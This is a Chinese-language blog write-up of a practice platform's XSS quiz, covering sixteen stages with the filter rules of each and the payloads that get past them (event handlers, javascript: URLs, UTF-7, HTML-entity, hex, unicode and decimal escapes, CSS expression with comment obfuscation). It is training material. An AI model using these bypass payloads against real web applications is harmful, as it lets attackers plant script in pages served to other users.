我与XSS的感情之路(1)

科普

XSS漏洞是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。本文主要是通过几个在线练习平台,记录一下个人对于xss漏洞的一些思路和总结。

平台1 xss-quiz

Stage#1: http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

使用正常xss payload弹出domain即可通过。payload如:
<img onerrer="alert(document.domain);"src=> <script>alert(document.domain);</script>

图1

Stage#2: http://xss-quiz.int21h.jp/stage2.php?sid=34ccb7f2bee3d0be52bf33339d0240c96f1cb61d
这一题关键在于语句需要闭合,当闭合语句后,均可触发。payload如:
"><script>alert(document.domain);</script> "onclick=alert(document.domain) value="asd

图2

Stage#3: http://xss-quiz.int21h.jp/stage-3.php?sid=f3a8820ead8d740c43effd6cdae1fa1b41d0f0f7
该题在写入js语句后,对尖括号进行了转义

图3

尝试绕过,没有实现,但是可以在p2参数的参数值处构造跨站语句,成功弹出domain

图4

Stage#4: http://xss-quiz.int21h.jp/stage4.php?sid=9b47b7196b1da242b0d9ce4099ed0f17858b56e0
p1、p2均作过滤了,在p3处闭合语句即可弹出,可通过查看源码发现隐藏的输入框,修改hackme的那个type为text,即p3的输入点即可,payload:
"><script>alert(document.domain)</script>

Stage#5: http://xss-quiz.int21h.jp/stage5.php?sid=b4d8b0467f463e3059a6e739d37739b6a364027e
长度限制,使用burp改包绕过即可。也可以更改如图所示长度进行绕过,payload:
"><script>alert(document.domain)</script>

图5

Stage#6: http://xss-quiz.int21h.jp/stage6.php?sid=a9998f35ee37ef3664ab6c6fc2574f428231c725
该题过滤了尖括号<>,
图6
尝试绕过,发现可用鼠标移动类进行绕过如:
"onmouseover="alert(document.domain);" "onmouseout="alert(document.domain);" "onclick=alert(document.domain)等

Stage#7: http://xss-quiz.int21h.jp/stage07.php?sid=deeba845f047ee9df2627ec269f20c955e2eb8b8
通过测试,发现该题过滤了<>、”、&等,而且输入空格后自动添加双引号,因此,可构造此类payload如: a onmouseover=alert(document.domain)实现弹窗。

图7

图8

Stage#8: http://xss-quiz.int21h.jp/stage008.php?sid=1f0696e59ff506dee925f3e6bd62e9f5103543aa
此题采用javascript伪协议即可,比较简单。Payload:javascript:alert(document.domain);

***Stage#9: http://xss-quiz.int21h.jp/stage_09.php?sid=9fb2098e09f0cdf338e09149e6f1550706fc3934
此题提示信息为UTF7,因此通过UTF-7转码即可,不用burp截包,需要更改charset类型为text,并更改其value为UTF-7,然后即可弹窗payload:
+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-

图9

Stage#10: http://xss-quiz.int21h.jp/stage00010.php?sid=582038d983e1b7cff0888412ffa49b8ae03ecf38
通过提示可看到domain被过滤了,可使用dodomainmain嵌套的方式进行绕过,因此,payload为:"onmouseover="alert(document.domdomainain);//

Stage#11: http://xss-quiz.int21h.jp/stage11th.php?sid=57ea445522e17a40142908ada7bd665857c358d9
可以从提示中看到过滤规则如下:”s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;”,因此可以通过进行编码的方式构造xss语句。注意闭合前后。即可弹窗,payload:
"><a href=javascr&#105;pt:alert(document.domain)>xss</a>

图10

Stage#12: http://xss-quiz.int21h.jp/stage_no012.php?sid=7fc1df5b4cd62ce2afaaa11268a5039d3a67632a
此题过滤规则如下:”s/[\x00-\x20\<>\”\’]//g;”,过滤很严,从x00-x20,<>,”’都被过滤,于是用什么闭合是此题的关键,在IE8下可以通过进行闭合因此,可以构造payload: ` onmouseover=alert(document.domain);

图11

Stage#13: http://xss-quiz.int21h.jp/stage13_0.php?sid=eb77af0358676519402c3be00df480f638b168b7
此题说是再CSS中用expression来实现js中的on事件,进而执行xss语句,再ie下可以利用,payload如下:xx:expression(onmouseover=function(){alert(document.domain)})

Stage#14: http://xss-quiz.int21h.jp/stage-_-14.php?sid=91443a5a0cc083c52ce78d11b5bf1beb238cb93b
此题与上一题相似,但是做了过滤:s/(url|script|eval|expression)/xxx/ig;过滤url,eval,script,expression因此,需要尝试绕过过滤,经过尝试,可以利用注释符/**/、\、\0、编码等方式绕过。Payload如:
xx:expre/**/ssion(onmouseover=function(){alert(document.domain)})

Stage#15:http://xss-quiz.int21h.jp/stage__15.php?sid=26ac2a0522c04a788c217fd8d7847aab1626f726
本题经过测试将<>进行了转义,并且过滤了\,无法使用事件类型构造语句实现弹窗。因此考虑绕过其过滤规则,经过测试,可以使用编码进行绕过将<>进行16进制编码或者unicode编码即可。Payload:
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

图12

Stage#16:http://xss-quiz.int21h.jp/stage00000016.php?sid=b3c99680d88d8f9002dce8b26f167c9c0a3a73a9
此题与上一题相似,多一部分过滤:”s/\x/\\x/ig;”,因此无法使用16进制来绕过<>的过滤,用unicode编码同样可以绕过,也可以使用10进制绕过。
Payload: \\74script\\76alert(document.domain);\\74/script\\76

Stage#17、Stage#18因为版本问题,过不去23333333。

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2017/07/20/12/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.